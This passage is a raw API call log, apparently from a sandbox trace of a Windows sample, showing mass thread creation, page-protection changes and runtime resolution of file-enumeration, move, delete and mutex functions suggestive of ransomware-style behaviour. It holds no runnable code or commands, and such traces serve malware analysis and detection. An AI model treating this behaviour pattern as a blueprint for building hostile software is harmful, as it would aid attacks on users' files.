lpThreadId=0x51391f8*=0x1ac8) returned 0xe2c [0119.185] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1acc) returned 0xe30 [0119.185] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1ad0) returned 0xe34 [0119.186] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1ad4) returned 0xe38 [0119.187] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1ad8) returned 0xe3c [0119.187] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1adc) returned 0xe40 [0119.188] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1ae0) returned 0xe44 [0119.188] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1ae4) returned 0xe48 [0119.189] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1ae8) returned 0xe4c [0119.189] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1aec) returned 0xe50 [0119.190] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1af0) returned 0xe54 [0119.190] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1af4) returned 0xe58 [0119.191] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1af8) returned 0xe5c [0119.192] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1afc) returned 0xe60 [0119.192] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1b00) returned 0xe64 [0119.193] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1b04) returned 0xe68 [0119.193] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1b08) returned 0xe6c [0119.194] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1b0c) returned 0xe70 [0119.194] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1b10) returned 0xe74 [0119.195] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1b14) returned 0xe78 [0119.195] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1b18) returned 0xe7c [0119.268] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1b1c) returned 0xe80 [0119.269] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1b20) returned 0xe84 [0119.269] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1b24) returned 0xe88 [0119.269] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1b28) returned 0xe8c [0119.270] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1b2c) returned 0xe90 [0119.270] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1b30) returned 0xe94 [0119.271] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1b34) returned 0xe98 [0119.271] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1b38) returned 0xe9c [0119.272] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1b3c) returned 0xea0 [0119.272] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1b40) returned 0xea4 [0119.272] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1b44) returned 0xea8 [0119.273] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1b48) returned 0xeac [0119.318] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1b4c) returned 0xeb0 [0119.319] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1b50) returned 0xeb4 [0119.319] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1b54) returned 0xeb8 [0119.319] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1b58) returned 0xebc [0119.320] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1b5c) returned 0xec0 [0119.320] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1b60) returned 0xec4 [0119.321] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1b64) returned 0xec8 [0119.321] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1b68) returned 0xecc [0119.384] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1b74) returned 0xed0 [0119.384] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1b78) returned 0xed4 [0119.385] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1b7c) returned 0xed8 [0119.385] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1b80) returned 0xedc [0119.386] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1b84) returned 0xee0 [0119.386] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1b88) returned 0xee4 [0119.386] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1b8c) returned 0xee8 [0119.387] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1b90) returned 0xeec [0119.387] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1b94) returned 0xef0 [0119.388] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1b98) returned 0xef4 [0119.388] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1b9c) returned 0xef8 [0119.389] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1ba0) returned 0xefc [0119.389] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1ba4) returned 0xf00 [0119.390] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1ba8) returned 0xf04 [0119.390] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1bac) returned 0xf08 [0119.390] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1bb0) returned 0xf0c [0119.391] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1bb4) returned 0xf10 [0119.392] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1bb8) returned 0xf14 [0119.392] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1bbc) returned 0xf18 [0119.392] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1bc0) returned 0xf1c [0119.403] GetACP () returned 0x4e4 [0119.403] GetACP () returned 0x4e4 [0119.404] GetACP () returned 0x4e4 [0119.404] GetACP () returned 0x4e4 [0119.404] GetACP () returned 0x4e4 [0119.404] GetACP () returned 0x4e4 [0119.404] GetACP () returned 0x4e4 [0119.404] GetACP () returned 0x4e4 [0119.404] GetACP () returned 0x4e4 [0119.404] GetACP () returned 0x4e4 [0119.404] GetACP () returned 0x4e4 [0119.404] GetACP () returned 0x4e4 [0119.404] GetACP () returned 0x4e4 [0119.404] GetACP () returned 0x4e4 [0119.404] GetACP () returned 0x4e4 [0119.404] GetACP () returned 0x4e4 [0119.404] GetACP () returned 0x4e4 [0119.404] GetACP () returned 0x4e4 [0119.404] GetACP () returned 0x4e4 [0119.404] GetACP () returned 0x4e4 [0119.404] GetACP () returned 0x4e4 [0119.404] GetACP () returned 0x4e4 [0119.404] GetACP () returned 0x4e4 [0119.404] GetACP () returned 0x4e4 [0119.404] GetACP () returned 0x4e4 [0119.404] GetACP () returned 0x4e4 [0119.404] GetACP () returned 0x4e4 [0119.404] GetACP () returned 0x4e4 [0119.404] GetACP () returned 0x4e4 [0119.404] GetACP () returned 0x4e4 [0119.404] GetACP () returned 0x4e4 [0119.404] GetACP () returned 0x4e4 [0119.404] GetACP () returned 0x4e4 [0119.404] GetACP () returned 0x4e4 [0119.404] GetACP () returned 0x4e4 [0119.404] GetACP () returned 0x4e4 [0119.404] GetACP () returned 0x4e4 [0119.404] GetACP () returned 0x4e4 [0119.404] GetACP () returned 0x4e4 [0119.404] GetACP () returned 0x4e4 [0119.404] GetACP () returned 0x4e4 [0119.404] GetACP () returned 0x4e4 [0119.404] GetACP () returned 0x4e4 [0119.404] GetACP () returned 0x4e4 [0119.404] GetACP () returned 0x4e4 [0119.404] GetACP () returned 0x4e4 [0119.404] GetACP () returned 0x4e4 [0119.404] GetACP () returned 0x4e4 [0119.405] GetACP () returned 0x4e4 [0119.405] GetACP () returned 0x4e4 [0119.405] GetACP () returned 0x4e4 [0119.405] GetACP () returned 0x4e4 [0119.405] GetACP () returned 0x4e4 [0119.405] GetACP () returned 0x4e4 [0119.405] GetACP () returned 0x4e4 [0119.405] GetACP () returned 0x4e4 [0119.405] GetACP () returned 0x4e4 [0119.405] GetACP () returned 0x4e4 [0119.405] GetACP () returned 0x4e4 [0119.405] GetACP () returned 0x4e4 [0119.405] GetACP () returned 0x4e4 [0119.405] GetACP () returned 0x4e4 [0119.405] GetACP () returned 0x4e4 [0119.405] GetACP () returned 0x4e4 [0119.405] GetACP () returned 0x4e4 [0119.405] GetACP () returned 0x4e4 [0119.405] GetACP () returned 0x4e4 [0119.405] GetACP () returned 0x4e4 [0119.405] GetACP () returned 0x4e4 [0119.405] GetACP () returned 0x4e4 [0119.405] GetACP () returned 0x4e4 [0119.405] GetACP () returned 0x4e4 [0119.405] GetACP () returned 0x4e4 [0119.405] GetACP () returned 0x4e4 [0119.405] GetACP () returned 0x4e4 [0119.405] GetACP () returned 0x4e4 [0119.405] GetACP () returned 0x4e4 [0119.405] GetACP () returned 0x4e4 [0119.405] GetACP () returned 0x4e4 [0119.405] GetACP () returned 0x4e4 [0119.405] GetACP () returned 0x4e4 [0119.405] GetACP () returned 0x4e4 [0119.405] GetACP () returned 0x4e4 [0119.405] GetACP () returned 0x4e4 [0119.405] GetACP () returned 0x4e4 [0119.405] GetACP () returned 0x4e4 [0119.405] GetACP () returned 0x4e4 [0119.405] GetACP () returned 0x4e4 [0119.405] GetACP () returned 0x4e4 [0119.405] GetACP () returned 0x4e4 [0119.405] GetACP () returned 0x4e4 [0119.405] GetACP () returned 0x4e4 [0119.405] GetACP () returned 0x4e4 [0119.405] GetACP () returned 0x4e4 [0119.405] GetACP () returned 0x4e4 [0119.405] GetACP () returned 0x4e4 [0119.406] GetACP () returned 0x4e4 [0119.406] GetACP () returned 0x4e4 [0119.406] GetACP () returned 0x4e4 [0119.406] GetACP () returned 0x4e4 [0119.406] GetACP () returned 0x4e4 [0119.406] GetACP () returned 0x4e4 [0119.406] GetACP () returned 0x4e4 [0119.406] GetACP () returned 0x4e4 [0119.406] GetACP () returned 0x4e4 [0119.406] GetACP () returned 0x4e4 [0119.406] GetACP () returned 0x4e4 [0119.406] GetACP () returned 0x4e4 [0119.406] GetACP () returned 0x4e4 [0119.406] GetACP () returned 0x4e4 [0119.406] GetACP () returned 0x4e4 [0119.406] GetACP () returned 0x4e4 [0119.406] GetACP () returned 0x4e4 [0119.406] GetACP () returned 0x4e4 [0119.406] GetACP () returned 0x4e4 [0119.406] GetACP () returned 0x4e4 [0119.406] GetACP () returned 0x4e4 [0119.406] GetACP () returned 0x4e4 [0119.406] GetACP () returned 0x4e4 [0119.406] GetACP () returned 0x4e4 [0119.406] GetACP () returned 0x4e4 [0119.406] GetACP () returned 0x4e4 [0119.406] GetACP () returned 0x4e4 [0119.406] GetACP () returned 0x4e4 [0119.406] GetACP () returned 0x4e4 [0119.406] GetACP () returned 0x4e4 [0119.406] GetACP () returned 0x4e4 [0119.406] GetACP () returned 0x4e4 [0119.406] GetACP () returned 0x4e4 [0119.406] GetACP () returned 0x4e4 [0119.406] GetACP () returned 0x4e4 [0119.406] GetACP () returned 0x4e4 [0119.406] GetACP () returned 0x4e4 [0119.406] GetACP () returned 0x4e4 [0119.406] GetACP () returned 0x4e4 [0119.406] GetACP () returned 0x4e4 [0119.406] GetACP () returned 0x4e4 [0119.406] GetACP () returned 0x4e4 [0119.406] GetACP () returned 0x4e4 [0119.406] GetACP () returned 0x4e4 [0119.406] GetACP () returned 0x4e4 [0119.406] GetACP () returned 0x4e4 [0119.406] GetACP () returned 0x4e4 [0119.406] GetACP () returned 0x4e4 [0119.406] GetACP () returned 0x4e4 [0119.407] GetACP () returned 0x4e4 [0119.407] GetACP () returned 0x4e4 [0119.407] GetACP () returned 0x4e4 [0119.407] GetACP () returned 0x4e4 [0119.407] GetACP () returned 0x4e4 [0119.407] GetACP () returned 0x4e4 [0119.407] GetACP () returned 0x4e4 [0119.407] GetACP () returned 0x4e4 [0119.407] GetACP () returned 0x4e4 [0119.407] GetACP () returned 0x4e4 [0119.407] GetACP () returned 0x4e4 [0119.407] GetACP () returned 0x4e4 [0119.407] GetACP () returned 0x4e4 [0119.407] GetACP () returned 0x4e4 [0119.407] GetACP () returned 0x4e4 [0119.407] GetACP () returned 0x4e4 [0119.407] GetACP () returned 0x4e4 [0119.407] GetACP () returned 0x4e4 [0119.407] GetACP () returned 0x4e4 [0119.407] GetACP () returned 0x4e4 [0119.407] GetACP () returned 0x4e4 [0119.407] GetACP () returned 0x4e4 [0119.407] GetACP () returned 0x4e4 [0119.407] GetACP () returned 0x4e4 [0119.407] GetACP () returned 0x4e4 [0119.407] GetACP () returned 0x4e4 [0119.407] GetACP () returned 0x4e4 [0119.407] GetACP () returned 0x4e4 [0119.407] GetACP () returned 0x4e4 [0119.407] GetACP () returned 0x4e4 [0119.407] GetACP () returned 0x4e4 [0119.407] GetACP () returned 0x4e4 [0119.407] GetACP () returned 0x4e4 [0119.407] GetACP () returned 0x4e4 [0119.407] GetACP () returned 0x4e4 [0119.407] GetACP () returned 0x4e4 [0119.407] GetACP () returned 0x4e4 [0119.407] GetACP () returned 0x4e4 [0119.407] GetACP () returned 0x4e4 [0119.407] GetACP () returned 0x4e4 [0119.407] GetACP () returned 0x4e4 [0119.407] GetACP () returned 0x4e4 [0119.407] GetACP () returned 0x4e4 [0119.407] GetACP () returned 0x4e4 [0119.407] GetACP () returned 0x4e4 [0119.407] GetACP () returned 0x4e4 [0119.407] GetACP () returned 0x4e4 [0119.407] GetACP () returned 0x4e4 [0119.407] GetACP () returned 0x4e4 [0119.407] GetACP () returned 0x4e4 [0119.408] GetACP () returned 0x4e4 [0119.408] GetACP () returned 0x4e4 [0119.408] GetACP () returned 0x4e4 [0119.408] GetACP () returned 0x4e4 [0119.408] GetACP () returned 0x4e4 [0119.408] GetACP () returned 0x4e4 [0119.408] GetACP () returned 0x4e4 [0119.408] GetACP () returned 0x4e4 [0119.408] GetACP () returned 0x4e4 [0119.408] GetACP () returned 0x4e4 [0119.408] GetACP () returned 0x4e4 [0119.408] GetACP () returned 0x4e4 [0119.408] GetACP () returned 0x4e4 [0119.408] GetACP () returned 0x4e4 [0119.408] GetACP () returned 0x4e4 [0119.408] GetACP () returned 0x4e4 [0119.408] GetACP () returned 0x4e4 [0119.408] GetACP () returned 0x4e4 [0119.408] GetACP () returned 0x4e4 [0119.408] GetACP () returned 0x4e4 [0119.408] GetACP () returned 0x4e4 [0119.408] GetACP () returned 0x4e4 [0119.408] GetACP () returned 0x4e4 [0119.408] GetACP () returned 0x4e4 [0119.408] GetACP () returned 0x4e4 [0119.408] GetACP () returned 0x4e4 [0119.408] GetACP () returned 0x4e4 [0119.408] GetACP () returned 0x4e4 [0119.408] GetACP () returned 0x4e4 [0119.408] GetACP () returned 0x4e4 [0119.408] GetACP () returned 0x4e4 [0119.408] GetACP () returned 0x4e4 [0119.408] GetACP () returned 0x4e4 [0119.408] GetACP () returned 0x4e4 [0119.408] GetACP () returned 0x4e4 [0119.408] GetACP () returned 0x4e4 [0119.408] GetACP () returned 0x4e4 [0119.408] GetACP () returned 0x4e4 [0119.408] GetACP () returned 0x4e4 [0119.408] GetACP () returned 0x4e4 [0119.408] GetACP () returned 0x4e4 [0119.408] GetACP () returned 0x4e4 [0119.408] GetACP () returned 0x4e4 [0119.408] GetACP () returned 0x4e4 [0119.408] GetACP () returned 0x4e4 [0119.408] GetACP () returned 0x4e4 [0119.408] GetACP () returned 0x4e4 [0119.408] GetACP () returned 0x4e4 [0119.409] GetACP () returned 0x4e4 [0119.409] GetACP () returned 0x4e4 [0119.409] GetACP () returned 0x4e4 [0119.409] GetACP () returned 0x4e4 [0119.409] GetACP () returned 0x4e4 [0119.409] GetACP () returned 0x4e4 [0119.507] GetACP () returned 0x4e4 [0120.405] VirtualProtect (in: lpAddress=0x400000, dwSize=0x400, flNewProtect=0x2, lpflOldProtect=0x51390f0 | out: lpflOldProtect=0x51390f0*=0x40) returned 1 [0120.405] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x75e90000 [0120.405] GetProcAddress (hModule=0x75e90000, lpProcName="GetProcAddress") returned 0x75ea51b0 [0120.405] GetProcAddress (hModule=0x75e90000, lpProcName="LoadLibraryA") returned 0x75ea5a80 [0120.406] GetProcAddress (hModule=0x75e90000, lpProcName="WaitForSingleObject") returned 0x75efeca0 [0120.406] GetProcAddress (hModule=0x75e90000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x75efebb0 [0120.409] GetProcAddress (hModule=0x75e90000, lpProcName="LeaveCriticalSection") returned 0x77bfb250 [0120.409] GetProcAddress (hModule=0x75e90000, lpProcName="GetLastError") returned 0x75ea5010 [0120.409] GetProcAddress (hModule=0x75e90000, lpProcName="EnterCriticalSection") returned 0x77bfb2d0 [0120.409] GetProcAddress (hModule=0x75e90000, lpProcName="ReleaseMutex") returned 0x75efec20 [0120.409] GetProcAddress (hModule=0x75e90000, lpProcName="CloseHandle") returned 0x75efeab0 [0120.409] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75e90000 [0120.410] GetProcAddress (hModule=0x75e90000, lpProcName="GetProcAddress") returned 0x75ea51b0 [0120.410] GetProcAddress (hModule=0x75e90000, lpProcName="GetModuleHandleW") returned 0x75ea50d0 [0120.410] GetProcAddress (hModule=0x75e90000, lpProcName="FindNextFileW") returned 0x75efee40 [0120.410] GetProcAddress (hModule=0x75e90000, lpProcName="FindClose") returned 0x75efed70 [0120.410] GetProcAddress (hModule=0x75e90000, lpProcName="MoveFileW") returned 0x75ede500 [0120.410] GetProcAddress (hModule=0x75e90000, lpProcName="GetFileSizeEx") returned 0x75efef40 [0120.410] GetProcAddress (hModule=0x75e90000, lpProcName="GetModuleFileNameW") returned 0x75ea5090 [0120.410] GetProcAddress (hModule=0x75e90000, lpProcName="GetFileAttributesW") returned 0x75efef10 [0120.411] GetProcAddress (hModule=0x75e90000, lpProcName="ExitProcess") returned 0x75ea3cb0 [0120.411] GetProcAddress (hModule=0x75e90000, lpProcName="GetCommandLineW") returned 0x75ea4cc0 [0120.411] GetProcAddress (hModule=0x75e90000, lpProcName="GetComputerNameW") returned 0x75ed32c0 [0120.411] GetProcAddress (hModule=0x75e90000, lpProcName="GetComputerNameA") returned 0x75ed3780 [0120.411] GetProcAddress (hModule=0x75e90000, lpProcName="CreateMutexW") returned 0x75efeb70 [0120.411] GetProcAddress (hModule=0x75e90000, lpProcName="lstrlenW") returned 0x75ea6c70 [0120.411] GetProcAddress (hModule=0x75e90000, lpProcName="lstrlenA") returned 0x75ea6c50 [0120.411] GetProcAddress (hModule=0x75e90000, lpProcName="GetCurrentProcess") returned 0x75efea10 [0120.411] GetProcAddress (hModule=0x75e90000, lpProcName="WaitForSingleObject") returned 0x75efeca0 [0120.412] GetProcAddress (hModule=0x75e90000, lpProcName="GetLogicalDrives") returned 0x75ea0d20 [0120.412] GetProcAddress (hModule=0x75e90000, lpProcName="GetTickCount") returned 0x75efdd50 [0120.412] GetProcAddress (hModule=0x75e90000, lpProcName="DeleteFileW") returned 0x75efed40 [0120.412] GetProcAddress (hModule=0x75e90000, lpProcName="WideCharToMultiByte") returned 0x75ea6b10 [0120.412] GetProcAddress (hModule=0x75e90000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x75efebb0 [0120.412] GetProcAddress (hModule=0x75e90000, lpProcName="Sleep") returned 0x75ea6760 [0120.412] GetProcAddress (hModule=0x75e90000, lpProcName="LeaveCriticalSection") returned 0x77bfb250 [0120.412] GetProcAddress (hModule=0x75e90000, lpProcName="ReadFile") returned 0x75eff090 [0120.413] GetProcAddress (hModule=0x75e90000, lpProcName="CreateFileW") returned 0x75efed10 [0120.413] GetProcAddress (hModule=0x75e90000, lpProcName="OpenMutexW") returned 0x75efebf0 [0120.413] GetProcAddress (hModule=0x75e90000, lpProcName="EnterCriticalSection") returned 0x77bfb2d0 [0120.413] GetProcAddress (hModule=0x75e90000, lpProcName="WaitForMultipleObjects") returned 0x75efec80 [0120.413] GetProcAddress (hModule=0x75e90000, lpProcName="lstrcmpiW") returned 0x75ea6bf0 [0120.413] GetProcAddress (hModule=0x75e90000, lpProcName="lstrcmpiA") returned 0x75ea6bd0 [0120.413] GetProcAddress (hModule=0x75e90000, lpProcName="DeleteCriticalSection") returned 0x77bdfb90 [0120.413] GetProcAddress (hModule=0x75e90000, lpProcName="ReleaseMutex") returned 0x75efec20 [0120.413] GetProcAddress (hModule=0x75e90000, lpProcName="CloseHandle") returned 0x75efeab0 [0120.414] GetProcAddress (hModule=0x75e90000, lpProcName="GetVersion") returned 0x75ea56c0 [0120.414] GetProcAddress 